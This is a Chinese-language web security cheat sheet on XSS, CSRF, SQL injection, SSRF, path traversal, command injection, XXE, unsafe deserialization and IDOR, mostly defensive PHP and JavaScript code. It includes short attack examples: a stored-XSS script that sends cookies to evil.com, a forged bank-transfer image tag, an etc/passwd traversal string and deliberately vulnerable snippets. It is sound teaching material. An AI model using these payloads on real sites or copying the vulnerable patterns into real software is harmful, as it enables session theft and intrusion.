一句话
Web 安全 80% 的事故,集中在 4 类攻击:
XSS(注入脚本)、CSRF(借你身份发请求)、SQL 注入(拼 SQL)、SSRF(让你服务器替它发请求)。
一、XSS(跨站脚本攻击)
原理:把 <script> 注入到网页里,用户访问时浏览器执行。
三种类型
| 类型 | 来源 | 例子 |
|---|
| 存储型 | 攻击者把脚本存进数据库 | 评论区写 <script>fetch('//evil.com?c='+document.cookie)</script> |
| 反射型 | 脚本在 URL 参数里 | ?q=<script>...</script> 服务端原样回显 |
| DOM 型 | 前端直接 innerHTML 用户输入 | el.innerHTML = location.hash |
防御
1 2 3 4 5 6 7 8 9
| echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
header("Content-Security-Policy: default-src 'self'; script-src 'self'"); header("X-XSS-Protection: 1; mode=block");
setcookie('session', $id, ['httponly' => true, 'secure' => true, 'samesite' => 'Strict']);
|
1 2 3 4 5
| el.innerHTML = userInput;
el.textContent = userInput;
|
二、CSRF(跨站请求伪造)
原理:用户登录了 A 站,再访问恶意 B 站,B 站偷偷以用户身份给 A 站发请求。
1 2 3
| <img src="https://bank.com/transfer?to=hacker&amount=1000">
|
防御
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $token = bin2hex(random_bytes(32)); $_SESSION['csrf_token'] = $token;
if (!hash_equals($_SESSION['csrf_token'], $_POST['_token'])) { http_response_code(419); exit; }
setcookie('session', $id, ['samesite' => 'Lax']);
if ($_SERVER['HTTP_ORIGIN'] !== 'https://bank.com') exit;
|
三、SQL 注入
原理:把 SQL 拼到字符串里,让用户输入改变 SQL 语义。
1 2 3
| $sql = "SELECT * FROM users WHERE name = '$name'";
|
防御
1 2 3 4 5 6
| $stmt = $pdo->prepare('SELECT * FROM users WHERE name = ?'); $stmt->execute([$name]);
User::where('name', $name)->get();
|
不要相信”过滤特殊字符”。永远预编译。
二阶注入
数据写入时是干净的,但被取出再拼到 SQL 时出事。所有 SQL 拼接点都要用预编译,没有例外。
四、SSRF(服务端请求伪造)
原理:服务端按用户给的 URL 发请求,被引导去访问内网。
1 2 3 4
| $content = file_get_contents($_GET['url']);
|
防御
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $allowed = ['http', 'https']; $scheme = parse_url($url, PHP_URL_SCHEME); if (!in_array($scheme, $allowed)) exit;
$ip = gethostbyname(parse_url($url, PHP_URL_HOST)); $bad_ranges = [ '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '169.254.0.0/16', '0.0.0.0/8', ]; foreach ($bad_ranges as $range) { if (ip_in_range($ip, $range)) exit; }
|
五、其它常见
| 攻击 | 一句话 | 防御 |
|---|
| 目录穿越 | ?file=../../etc/passwd | realpath() + 白名单目录 |
| 命令注入 | 拼 shell:exec("convert $file") | escapeshellarg(),更好是用库 API |
| XXE | XML 解析时加载外部实体 | libxml_disable_entity_loader(true) |
| 不安全的反序列化 | unserialize($_COOKIE) | 用 JSON,反序列化绝不接受用户输入 |
| 越权(IDOR) | ?order_id=123 改成别人的 | 后端校验所有权 |
六、自检清单
参考